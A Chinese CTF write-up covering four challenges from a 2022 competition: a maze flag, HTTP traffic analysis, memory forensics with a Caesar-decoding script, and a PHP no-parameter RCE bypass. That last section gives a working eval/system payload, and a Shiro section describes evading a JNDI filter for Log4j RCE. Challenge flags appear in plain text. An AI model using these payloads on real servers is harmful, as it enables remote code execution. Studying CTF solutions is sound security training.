-
-
[原创]长安“战疫”网络安全卫士守护赛 部分wp
-
发表于:
2022-1-8 20:47
10790
-
八卦迷宫
折磨!!!!
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
RCE_No_Para
PHP无参数RCE
参考自:8ddK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3x3K6R3I4y4e0b7^5x3U0m8Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3y4U0x3J5z5e0V1%4y4R3`.`.
1 | if ( ';' = = = preg_replace( '/[^\W]+\((?R)?\)/' , ' ', $_GET[' code']))
|
代码会将$_GET['code']中满足正则/[^\W]+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于,如果满足,则执行
第二层bypass
1 | if (!preg_match( '/session|end|next|header|dir/i' ,$_GET[ 'code' ]))
|
对几个关键词进行了过滤
发现end被过滤了
所以用array_rand()函数代替end()
payload为:
1 | / ?code = eval (array_rand(current(get_defined_vars())));&system( "ls" );
|

发现了php
直接cat 即可

西安加油
一到流量题
看了一下没发现什么
导出全部的http对象
发现了两个文件

把两个txt文本的内容都放到CyberChef解码


看起来secret.txt是压缩包,推断压缩包中的内容就是图片
还原压缩包文件

按照提示的内容拼图

flag: cazy{make_XiAN_great_Again}
Shiro?
一开始以为是shiro
就利用shiro attack

但是发现并能干什么,只能执行几个命令(这个莫名的jar也是很可疑)
此时我随便输入用户名密码 发现都是ok

此时高度怀疑log4jRCE
然后尝试了一下反弹shell,发现有过滤,但是不知道什么过滤

经过测试发现是jndi
被过滤了,而且可以大小写绕过
直接Log4j干他!

朴实无华的取证
确实朴实无华
文件名给了系统信息直接vol取证
先看一下内存里有什么文件 (贴一下经过我筛选的文件)
1 2 3 | 0x0000000001b301c0 1 0 RW - r - - \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\我的日记.txt.txt
0x0000000001b34f90 1 1 R - - r - - \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag. zip
0x0000000001e65028 1 0 R - - rw - \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.png
|
分别打开看一下
flag.png
一串意义不明的字符串以及出题人美画!

flag.zip

加密过的一个压缩包
我的日记.txt

这里给了部分的加密脚本
图片中的字符串
1 | FDCB[ 8LDQ ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]
|

凯撒了一下,发现有蹊跷在里面
此时我们可以判断这个加密是加密脚本+凯撒
剩下的就是测试找规律
贴一下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | str = "FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"
str = [a for a in str ]
for a in range ( 0 , len ( str )):
str [a] = chr ( ord ( str [a]) + 32 )
for a in range ( 0 , len ( str )):
if str [a] > = "d" and str [a]< = "z" :
str [a] = chr ( ord ( str [a]) - 3 )
elif str [a] = = 'a' :
str [a] = 'x'
elif str [a] = = 'b' :
str [a] = 'y'
elif str [a] = = 'c' :
str [a] = 'z'
elif str [a] = = '|' :
str [a] = "_"
str = "".join( str )
print ( str )
|

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课